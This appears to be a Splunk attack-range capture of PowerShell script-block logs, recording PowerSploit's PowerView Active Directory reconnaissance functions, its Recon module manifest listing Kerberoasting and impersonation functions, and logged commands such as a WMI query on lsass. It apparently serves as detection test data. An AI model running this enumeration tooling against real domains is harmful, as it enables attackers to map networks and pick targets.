schema class for the external.local domain. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-ForestSchemaClass -ClassName user -Forest external.local -Credential $Cred Returns the user schema class for the external.local domain using the specified alternate credentials. .OUTPUTS [DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass] An ActiveDirectorySchemaClass returned from the found schema. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType([System.DirectoryServices.ActiveDirectory.ActiveDirectorySchemaClass])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [Alias('Class')] [ValidateNotNullOrEmpty()] [String[]] $ClassName, [Alias('Name')] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Forest']) { $Arguments['Forest'] = $Forest } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } $ForestObject = Get-Forest @Arguments if ($ForestObject) { if ($PSBoundParameters['ClassName']) { ForEach ($TargetClass in $ClassName) { $ForestObject.Schema.FindClass($TargetClass) } } else { $ForestObject.Schema.FindAllClasses() } } } } function Find-DomainObjectPropertyOutlier { <# .SYNOPSIS Finds user/group/computer objects in AD that have 'outlier' properties set. Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation) License: BSD 3-Clause Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer .DESCRIPTION A 'reference' set of property names is calculated, either from a standard set preserved for user/group/computers, or from the array of names passed to -ReferencePropertySet, or from the property names of the passed -ReferenceObject. Every user/group/computer object (depending on determined class) are enumerated, and for each object, if the object has a 'non-standard' property set (meaning a property not held by the reference set), the object's samAccountName, property name, and property value are output to the pipeline. .PARAMETER ClassName Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'. If -ReferenceObject is specified, this will be automatically extracted, if possible. .PARAMETER ReferencePropertySet Specifies an array of property names to diff against the class schema. .PARAMETER ReferenceObject Specicifes the PowerView user/group/computer object to extract property names from to use as the reference set. .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. .PARAMETER LDAPFilter Specifies an LDAP query string that is used to filter Active Directory objects. .PARAMETER SearchBase The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local" Useful for OU queries. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER SearchScope Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree). .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER Tombstone Switch. Specifies that the searcher should also return deleted/tombstoned objects. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Find-DomainObjectPropertyOutlier -ClassName 'User' Enumerates users in the current domain with 'outlier' properties filled in. .EXAMPLE Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local Enumerates groups in the external.local forest/domain with 'outlier' properties filled in. .EXAMPLE Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier Enumerates computers in the current domain with 'outlier' properties filled in. .OUTPUTS PowerView.PropertyOutlier Custom PSObject with translated object property outliers. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.PropertyOutlier')] [CmdletBinding(DefaultParameterSetName = 'ClassName')] Param( [Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')] [Alias('Class')] [ValidateSet('User', 'Group', 'Computer')] [String] $ClassName, [ValidateNotNullOrEmpty()] [String[]] $ReferencePropertySet, [Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')] [PSCustomObject] $ReferenceObject, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('Filter')] [String] $LDAPFilter, [ValidateNotNullOrEmpty()] [Alias('ADSPath')] [String] $SearchBase, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateSet('Base', 'OneLevel', 'Subtree')] [String] $SearchScope = 'Subtree', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Switch] $Tombstone, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) BEGIN { $UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated') $GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated') $ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated') $SearcherArguments = @{} if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter } if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } # Domain / Credential if ($PSBoundParameters['Domain']) { if ($PSBoundParameters['Credential']) { $TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name } else { $TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name } Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'" } $SchemaArguments = @{} if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential } if ($TargetForest) { $SchemaArguments['Forest'] = $TargetForest } } PROCESS { if ($PSBoundParameters['ReferencePropertySet']) { Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet" $ReferenceObjectProperties = $ReferencePropertySet } elseif ($PSBoundParameters['ReferenceObject']) { Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set" $ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name $ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1 Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass" } else { Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'" } if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) { $Objects = Get-DomainUser @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $UserReferencePropertySet } } elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) { $Objects = Get-DomainGroup @SearcherArguments if (-not $ReferenceObjectProperties) { $ReferenceObjectProperties = $GroupReferencePropertySet } } elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) { $Objects = Get-DomainComputer @SearcherArguments e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104132150x0122609Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local844t. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDNSZone Retrieves the DNS zones for the current domain. .EXAMPLE Get-DomainDNSZone -Domain dev.testlab.local -Server primary.testlab.local Retrieves the DNS zones for the dev.testlab.local domain, binding to primary.testlab.local. .OUTPUTS PowerView.DNSZone Outputs custom PSObjects with detailed information about the DNS zone. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DNSZone')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateNotNullOrEmpty()] [String[]] $Properties, [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $SearcherArguments = @{ 'LDAPFilter' = '(objectClass=dnsZone)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DNSSearcher1 = Get-DomainSearcher @SearcherArguments if ($DNSSearcher1) { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher1.FindOne() } else { $Results = $DNSSearcher1.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member NoteProperty 'ZoneName' $Out.name $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDFSShare] Error disposing of the Results object: $_" } } $DNSSearcher1.dispose() } $SearcherArguments['SearchBasePrefix'] = 'CN=MicrosoftDNS,DC=DomainDnsZones' $DNSSearcher2 = Get-DomainSearcher @SearcherArguments if ($DNSSearcher2) { try { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher2.FindOne() } else { $Results = $DNSSearcher2.FindAll() } $Results | Where-Object {$_} | ForEach-Object { $Out = Convert-LDAPProperty -Properties $_.Properties $Out | Add-Member NoteProperty 'ZoneName' $Out.name $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSZone') $Out } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDNSZone] Error disposing of the Results object: $_" } } } catch { Write-Verbose "[Get-DomainDNSZone] Error accessing 'CN=MicrosoftDNS,DC=DomainDnsZones'" } $DNSSearcher2.dispose() } } } function Get-DomainDNSRecord { <# .SYNOPSIS Enumerates the Active Directory DNS records for a given zone. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainSearcher, Convert-LDAPProperty, Convert-DNSRecord .DESCRIPTION Given a specific Active Directory DNS zone name, query for all 'dnsNode' LDAP entries using that zone as the search base. Return all DNS entry results and use Convert-DNSRecord to try to convert the binary DNS record blobs. .PARAMETER ZoneName Specifies the zone to query for records (which can be enumearted with Get-DomainDNSZone). .PARAMETER Domain The domain to query for zones, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to for the search. .PARAMETER Properties Specifies the properties of the output object to retrieve from the server. .PARAMETER ResultPageSize Specifies the PageSize to set for the LDAP searcher object. .PARAMETER ServerTimeLimit Specifies the maximum amount of time the server spends searching. Default of 120 seconds. .PARAMETER FindOne Only return one result object. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainDNSRecord -ZoneName testlab.local Retrieve all records for the testlab.local zone. .EXAMPLE Get-DomainDNSZone | Get-DomainDNSRecord Retrieve all records for all zones in the current domain. .EXAMPLE Get-DomainDNSZone -Domain dev.testlab.local | Get-DomainDNSRecord -Domain dev.testlab.local Retrieve all records for all zones in the dev.testlab.local domain. .OUTPUTS PowerView.DNSRecord Outputs custom PSObjects with detailed information about the DNS record entry. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.DNSRecord')] [CmdletBinding()] Param( [Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)] [ValidateNotNullOrEmpty()] [String] $ZoneName, [ValidateNotNullOrEmpty()] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [ValidateNotNullOrEmpty()] [String[]] $Properties = 'name,distinguishedname,dnsrecord,whencreated,whenchanged', [ValidateRange(1, 10000)] [Int] $ResultPageSize = 200, [ValidateRange(1, 10000)] [Int] $ServerTimeLimit, [Alias('ReturnOne')] [Switch] $FindOne, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $SearcherArguments = @{ 'LDAPFilter' = '(objectClass=dnsNode)' 'SearchBasePrefix' = "DC=$($ZoneName),CN=MicrosoftDNS,DC=DomainDnsZones" } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } $DNSSearcher = Get-DomainSearcher @SearcherArguments if ($DNSSearcher) { if ($PSBoundParameters['FindOne']) { $Results = $DNSSearcher.FindOne() } else { $Results = $DNSSearcher.FindAll() } $Results | Where-Object {$_} | ForEach-Object { try { $Out = Convert-LDAPProperty -Properties $_.Properties | Select-Object name,distinguishedname,dnsrecord,whencreated,whenchanged $Out | Add-Member NoteProperty 'ZoneName' $ZoneName # convert the record and extract the properties if ($Out.dnsrecord -is [System.DirectoryServices.ResultPropertyValueCollection]) { # TODO: handle multiple nested records properly? $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord[0] } else { $Record = Convert-DNSRecord -DNSRecord $Out.dnsrecord } if ($Record) { $Record.PSObject.Properties | ForEach-Object { $Out | Add-Member NoteProperty $_.Name $_.Value } } $Out.PSObject.TypeNames.Insert(0, 'PowerView.DNSRecord') $Out } catch { Write-Warning "[Get-DomainDNSRecord] Error: $_" $Out } } if ($Results) { try { $Results.dispose() } catch { Write-Verbose "[Get-DomainDNSRecord] Error disposing of the Results object: $_" } } $DNSSearcher.dispose() } } } function Get-Domain { <# .SYNOPSIS Returns the domain object for the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: None .DESCRIPTION Returns a System.DirectoryServices.ActiveDirectory.Domain object for the current domain or the domain specified with -Domain X. .PARAMETER Domain Specifies the domain name to query for, defaults to the current domain. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-Domain -Domain testlab.local .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-Domain -Credential $Cred .OUTPUTS System.DirectoryServices.ActiveDirectory.Domain A complex .NET domain object. .LINK http://social.technet.microsoft.com/Forums/scriptcenter/en-US/0c5b3f83-e528-4d49-92a4-dee31f4b481c/finding-the-dn-of-the-the-domain-without-admodule-in-powershell?forum=ITCG #> [OutputType([System.DirectoryServices.ActiveDirectory.Domain])] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Domain, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose '[Get-Domain] Using alternate credentials for Get-Domain' if ($PSBoundParameters['Domain']) { $TargetDomain = $Domain } else { # if no domain is supplied, extract the logon domain from the PSCredential passed $TargetDomain = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Domain] Extracted domain '$TargetDomain' from -Credential" } $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $TargetDomain, $Credential.UserName, $Credential.GetNetworkCredential().Password) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$TargetDomain' does not exist, could not be contacted, there isn't an existing trust, or the specified credentials are invalid: $_" } } elseif ($PSBoundParameters['Domain']) { $DomainContext = New-Object System.DirectoryServices.ActiveDirectory.DirectoryContext('Domain', $Domain) try { [System.DirectoryServices.ActiveDirectory.Domain]::GetDomain($DomainContext) } catch { Write-Verbose "[Get-Domain] The specified domain '$Domain' does not exist, could not be contacted, or there isn't an existing trust : $_" } } else { try { [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain() } catch { Write-Verbose "[Get-Domain] Error retrieving the current domain: $_" } } } } function Get-DomainController { <# .SYNOPSIS Return the domain controllers for the current (or specified) domain. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: Get-DomainComputer, Get-Domain .DESCRIPTION Enumerates the domain controllers for the current or specified domain. By default built in .NET methods are used. The -LDAP switch uses Get-DomainComputer to search for domain controllers. .PARAMETER Domain The domain to query for domain controllers, defaults to the current domain. .PARAMETER Server Specifies an Active Directory server (domain controller) to bind to. .PARAMETER LDAP Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. .EXAMPLE Get-DomainController -Domain 'test.local' Determine the domain controllers for 'test.local'. .EXAMPLE Get-DomainController -Domain 'test.local' -LDAP Determine the domain controllers for 'test.local' using LDAP queries. .EXAMPLE 'test.local' | Get-DomainController Determine the domain controllers for 'test.local'. .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-DomainController -Credential $Cred .OUTPUTS PowerView.Computer Outputs custom PSObjects with details about the enumerated domain controller if -LDAP is specified. System.DirectoryServices.ActiveDirectory.DomainController If -LDAP isn't specified. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('PowerView.Computer')] [OutputType('System.DirectoryServices.ActiveDirectory.DomainController')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [String] $Domain, [ValidateNotNullOrEmpty()] [Alias('DomainController')] [String] $Server, [Switch] $LDAP, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { $Arguments = @{} if ($PSBoundParameters['Domain']) { $Arguments['Domain'] = $Domain } if ($PSBoundParameters['Credential']) { $Arguments['Credential'] = $Credential } if ($PSBoundParameters['LDAP'] -or $PSBoundParameters['Server']) { if ($PSBoundParameters['Server']) { $Arguments['Server'] = $Server } # UAC specification for domain controllers $Arguments['LDAPFilter'] = '(userAccountControl:1.2.840.113556.1.4.803:=8192)' Get-DomainComputer @Arguments } else { $FoundDomain = Get-Domain @Arguments if ($FoundDomain) { $FoundDomain.DomainControllers } } } } function Get-Forest { <# .SYNOPSIS Returns the forest object for the current (or specified) forest. Author: Will Schroeder (@harmj0y) License: BSD 3-Clause Required Dependencies: ConvertTo-SID .DESCRIPTION Returns a System.DirectoryServices.ActiveDirectory.Forest object for the current forest or the forest specified with -Forest X. .PARAMETER Forest The forest name to query for, defaults to the current forest. .PARAMETER Credential A [Management.Automation.PSCredential] object of alternate credentials for connection to the target forest. .EXAMPLE Get-Forest -Forest external.domain .EXAMPLE $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword) Get-Forest -Credential $Cred .OUTPUTS System.Management.Automation.PSCustomObject Outputs a PSObject containing System.DirectoryServices.ActiveDirectory.Forest in addition to the forest root domain SID. #> [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')] [OutputType('System.Management.Automation.PSCustomObject')] [CmdletBinding()] Param( [Parameter(Position = 0, ValueFromPipeline = $True)] [ValidateNotNullOrEmpty()] [String] $Forest, [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] $Credential = [Management.Automation.PSCredential]::Empty ) PROCESS { if ($PSBoundParameters['Credential']) { Write-Verbose "[Get-Forest] Using alternate credentials for Get-Forest" if ($PSBoundParameters['Forest']) { $TargetForest = $Forest } else { # if no domain is supplied, extract the logon domain from the PSCredential passed $TargetForest = $Credential.GetNetworkCredential().Domain Write-Verbose "[Get-Forest] Extracted domain 'e66f2c62-841c-43ba-a30f-4c6c2ffc9eadC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\PowerView.ps1 4104152150x0122566Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11@{ # Script module or binary module file associated with this manifest. ModuleToProcess = 'Recon.psm1' # Version number of this module. ModuleVersion = '3.0.0.0' # ID used to uniquely identify this module GUID = '7e775ad6-cd3d-4a93-b788-da067274c877' # Author of this module Author = 'Matthew Graeber', 'Will Schroeder' # Copyright statement for this module Copyright = 'BSD 3-Clause' # Description of the functionality provided by this module Description = 'PowerSploit Reconnaissance Module' # Minimum version of the Windows PowerShell engine required by this module PowerShellVersion = '2.0' # Functions to export from this module FunctionsToExport = @( 'Export-PowerViewCSV', 'Resolve-IPAddress', 'ConvertTo-SID', 'ConvertFrom-SID', 'Convert-ADName', 'ConvertFrom-UACValue', 'Add-RemoteConnection', 'Remove-RemoteConnection', 'Invoke-UserImpersonation', 'Invoke-RevertToSelf', 'Get-DomainSPNTicket', 'Invoke-Kerberoast', 'Get-PathAcl', 'Get-DomainDNSZone', 'Get-DomainDNSRecord', 'Get-Domain', 'Get-DomainController', 'Get-Forest', 'Get-ForestDomain', 'Get-ForestGlobalCatalog', 'Find-DomainObjectPropertyOutlier', 'Get-DomainUser', 'New-DomainUser', 'Set-DomainUserPassword', 'Get-DomainUserEvent', 'Get-DomainComputer', 'Get-DomainObject', 'Set-DomainObject', 'Set-DomainObjectOwner', 'Get-DomainObjectAcl', 'Add-DomainObjectAcl', 'Find-InterestingDomainAcl', 'Get-DomainOU', 'Get-DomainSite', 'Get-DomainSubnet', 'Get-DomainSID', 'Get-DomainGroup', 'New-DomainGroup', 'Get-DomainManagedSecurityGroup', 'Get-DomainGroupMember', 'Add-DomainGroupMember', 'Get-DomainFileServer', 'Get-DomainDFSShare', 'Get-DomainGPO', 'Get-DomainGPOLocalGroup', 'Get-DomainGPOUserLocalGroupMapping', 'Get-DomainGPOComputerLocalGroupMapping', 'Get-DomainPolicy', 'Get-NetLocalGroup', 'Get-NetLocalGroupMember', 'Get-NetShare', 'Get-NetLoggedon', 'Get-NetSession', 'Get-RegLoggedOn', 'Get-NetRDPSession', 'Test-AdminAccess', 'Get-NetComputerSiteName', 'Get-WMIRegProxy', 'Get-WMIRegLastLoggedOn', 'Get-WMIRegCachedRDPConnection', 'Get-WMIRegMountedDrive', 'Get-WMIProcess', 'Find-InterestingFile', 'Find-DomainUserLocation', 'Find-DomainProcess', 'Find-DomainUserEvent', 'Find-DomainShare', 'Find-InterestingDomainShareFile', 'Find-LocalAdminAccess', 'Find-DomainLocalGroupMember', 'Get-DomainTrust', 'Get-ForestTrust', 'Get-DomainForeignUser', 'Get-DomainForeignGroupMember', 'Get-DomainTrustMapping', 'Get-ComputerDetail', 'Get-HttpStatus', 'Invoke-Portscan', 'Invoke-ReverseDnsLookup' ) # List of all files packaged with this module FileList = 'Recon.psm1', 'Recon.psd1', 'PowerView.ps1', 'Get-HttpStatus.ps1', 'Invoke-ReverseDnsLookup.ps1', 'Invoke-Portscan.ps1', 'Get-ComputerDetails.ps1', 'README.md' } 73bfa47f-42ed-440d-8112-993f46743f7fC:\Users\Administrator\Downloads\PowerSploit-master\PowerSploit-master\Recon\Recon.psd1 4104152150x0123833Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Invoke-Command -ComputerName bobscomputer -ScriptBlock { dir c:\ }a17c9004-374c-4202-9684-677885d273bd 4104152150x0123870Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-ADUserResultantPasswordPolicy577d4ec9-e23b-4275-80f3-87c5db0a6863 4104152150x0123898Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-AdComputer58aa01a8-ad08-4889-b4ce-c5df56847e9b ActivityID,CallTrace,CategoryString,Channel,ClientInfo,CommandLine,Company,Computer,Consumer,CurrentDirectory,Description,Destination,"Error_Code",EventChannel,EventCode,"EventData_Xml",EventDescription,EventID,EventRecordID,EventType,FileVersion,Filter,GrantedAccess,Guid,Hashes,Image,ImageLoaded,"Image_File_Name",IntegrityLevel,Keywords,Level,LogonGuid,LogonId,MD5,MessageNumber,MessageTotal,Name,Opcode,OriginalFileName,ParentCommandLine,ParentImage,ParentProcessGuid,ParentProcessId,ParentUser,Path,PipeName,ProcessGuid,ProcessID,ProcessId,Product,Qualifiers,QueryResults,RecordID,RecordNumber,"RenderingInfo_Xml",RuleName,SHA256,ScriptBlockId,ScriptBlockText,SecurityID,Signature,SignatureStatus,Signed,SourceImage,SourceProcessGUID,SourceProcessId,SourceThreadId,SourceUser,SubStatus,SystemTime,"System_Props_Xml",TargetImage,TargetProcessGUID,TargetProcessId,TargetUser,Task,TerminalSessionId,ThreadID,TimeCreated,User,UserID,UtcTime,Version,"_raw","_time",action,"answer_count",app,category,"change_type","creation_time",description,dest,"dest_host","dest_ip","dest_port",direction,dvc,"dvc_ip","dvc_nt_host","event_id",eventtype,"file_access_time","file_create_time","file_hash","file_modify_time","file_name","file_path","granted_access",host,"http_referrer","http_referrer_domain",id,index,linecount,meta,name,object,"object_attrs","object_category","object_path","original_file_name",os,"parent_process","parent_process_exec","parent_process_guid","parent_process_id","parent_process_name","parent_process_path","pipe_name",process,"process_current_directory","process_exec","process_guid","process_hash","process_id","process_integrity_level","process_name","process_path",protocol,"protocol_version",punct,query,"query_count","registry_hive","registry_key_name","registry_path","registry_value_data","registry_value_name","registry_value_type","reply_code_id",result,rule,service,"service_dll_signature_exists","service_dll_signature_verified","service_id","service_name","service_signature_exists","service_signature_verified","severity_id",signature,"signature_id",source,sourcetype,"splunk_server","splunk_server_group",src,"src_address","src_function","src_host","src_ip","src_module","src_port",state,status,subject,tag,"tag::action","tag::app","tag::eventtype","tag::object_category",timestamp,transport,"transport_dest_port","uri_path",url,"url_domain","url_length",user,"user_group_id","user_id","user_name","vendor_product" "'{7B7F4240-5E23-0005-0069-7F7B235ED801}'",,,"Microsoft-Windows-PowerShell/Operational",,,,"win-dc-mhaag-attack-range-270.attackrange.local",,,,,,,4104,"11Get-WmiObject Win32_Service -filter ""name='lsass' ""f98ad780-fe95-45ee-af64-2bb50a650b41",,4104,123928,,,,,"'{A0C1853B-5C40-4B15-8766-3CF1C58F985A}'",,,,,,0x0,5,,,,1,1,"'Microsoft-Windows-PowerShell'",15,,,,,,,,,,"'5388'",,,,,,123928,,,,"f98ad780-fe95-45ee-af64-2bb50a650b41","Get-WmiObject Win32_Service -filter ""name='lsass' """,,,,,,,,,,,"'2022-05-02T18:45:27.493218800Z'","4104152150x0123928Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local",,,,,2,,"'5528'",,,"'S-1-5-21-2059343465-2300599999-2417073716-500'",,1,"4104152150x0123928Microsoft-Windows-PowerShell/Operationalwin-dc-mhaag-attack-range-270.attackrange.local11Get-WmiObject Win32_Service -filter ""name='lsass' ""f98ad780-fe95-45ee-af64-2bb50a650b41","2022-05-02T18:45:27.000+0000",,,,,,,,,,,,,"win-dc-mhaag-attack-range-270.attackrange.local",,"WIN-DC-MHAAG-AT",123928,"endpoint_services_processes 